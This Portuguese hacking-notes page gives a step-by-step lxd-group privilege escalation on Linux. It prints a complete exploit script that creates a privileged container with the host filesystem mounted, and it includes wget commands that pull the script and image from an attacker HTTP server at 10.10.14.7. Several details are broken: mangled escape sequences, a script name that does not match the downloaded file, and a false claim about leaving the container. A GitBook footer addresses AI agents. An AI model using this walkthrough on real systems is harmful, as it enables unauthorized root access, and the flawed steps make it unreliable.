> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/privesc/user-groups/lxd-group-linux-privilege-escalation.md).

# Abuso do grupo lxd - Escalada de privilégios no Linux

## O que é

Associações perigosas a grupos locais podem expor recursos privilegiados sem exigir um exploit de kernel. Grupos como docker, lxd, adm ou proxy podem conceder controle do host, acesso a logs sensíveis ou caminhos de configuração úteis para movimentação lateral e escalonamento para root. Esta página específica foca em **Grupo de usuários (lxd)** e mantém o fluxo de exploração prático: identifique a condição, valide-a com segurança e então execute o payload menor necessário para comprovar o impacto.

## Enumeração

Comece confirmando o contexto local e a configuração incorreta exata antes de executar o caminho de exploração.

```bash
id
groups
```

## Exemplos

### Exploração do LXD:

**Identificação de `ash` associação do usuário ao `lxd` grupo**:

Ao verificar os grupos aos quais o usuário `ash` pertence, notamos que ele faz parte do `lxd` grupo, o que permite abusar do LXC para obter privilégios de root.

<figure><img src="/files/8b262a17ed78cf5539734835b32d197d6f7c8ff5" alt=""><figcaption></figcaption></figure>

**Baixe e prepare a exploração**:

Use `searchsploit` para obter o script de exploit da vulnerabilidade do LXC (CVE-2020-16941)

<figure><img src="/files/d4f7dea170e2e70ba36c1ff3df9b0d8c0abe844e" alt="" width="563"><figcaption></figcaption></figure>

Este script explora a vulnerabilidade do LXC para executar comandos com privilégios elevados.

**Conteúdo do script de exploit (46978.sh):**

<pre class="language-bash"><code class="lang-bash">#!/usr/bin/env bash

<strong>function helpPanel(){
</strong>  echo -e "/nUso:"
  echo -e "/t[-f] Nome do arquivo (.tar.gz arquivo Alpine)"
  echo -e "/t[-h] Mostra este painel de ajuda/n"
  exit 1
}

function createContainer(){
  lxc image import $filename --alias alpine &#x26;&#x26; lxd init --auto
  echo -e "[*] Listando imagens.../n" &#x26;&#x26; lxc image list
  lxc init alpine privesc -c security.privileged=true
  lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true
  lxc start privesc
  lxc exec privesc sh
  cleanup
}

function cleanup(){
  echo -en "/n[*] Removendo contêiner..."
  lxc stop privesc &#x26;&#x26; lxc delete privesc &#x26;&#x26; lxc image delete alpine
  echo " [√]"
}

set -o nounset
set -o errexit

declare -i parameter_enable=0; while getopts ":f:h:" arg; do
  case $arg in
    f) filename=$OPTARG &#x26;&#x26; let parameter_enable+=1;;
    h) helpPanel;;
  esac
done

if [ $parameter_enable -ne 1 ]; then
  helpPanel
else
  createContainer
fi
</code></pre>

* O script cria um contêiner LXC privilegiado e fornece acesso root na máquina alvo.

**Baixe o arquivo de imagem Alpine e o script:**

Clone o repositório contendo os arquivos necessários para a operação e transfira-os para sua máquina por meio de um servidor HTTP local.

```bash
git clone https://github.com/saghul/lxd-alpine-builder
```

Inicie um servidor HTTP local para disponibilizar o arquivo e o script

```bash
python3 -m http.server 80
```

Na sua máquina alvo, baixe o script e o arquivo de imagem:

```bash
cd /tmp
wget http://10.10.14.7/46978.sh
wget http://10.10.14.7/alpine-v3.13-x86_64-20210218_0139.tar.gz
```

<figure><img src="/files/516ae90fe7589cac56d15d39c953aa0433754765" alt=""><figcaption></figcaption></figure>

\*\* Atualização do PATH\*\*:

Adapte o `PATH` para garantir que os comandos do LXC sejam interpretados corretamente.

```bash
export PATH=/home/jordan/.local/bin:/snap/bin:/usr/sandbox:/opt/nvim-linux64/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/usr/share/games:/usr/local/sbin:/usr/sbin:/sbin:/opt/kitty/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/home/jordan/.fzf/bin:/usr/local/bin
```

**Execução do script**

Execute o script com o arquivo de imagem Alpine baixado para explorar a vulnerabilidade e obter um shell root:

```bash
./lxd.sh -f alpine-v3.13-x86_64-20210218_0139.tar.gz
```

<figure><img src="/files/2be353469e74dad199af9bee661bda3e82ff33c1" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/8279565fdd0dcbbaa2f293207a2b2af003147888" alt=""><figcaption></figcaption></figure>

Para sair do contêiner, basta ir para o `/mnt/root` diretório.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/privesc/user-groups/lxd-group-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
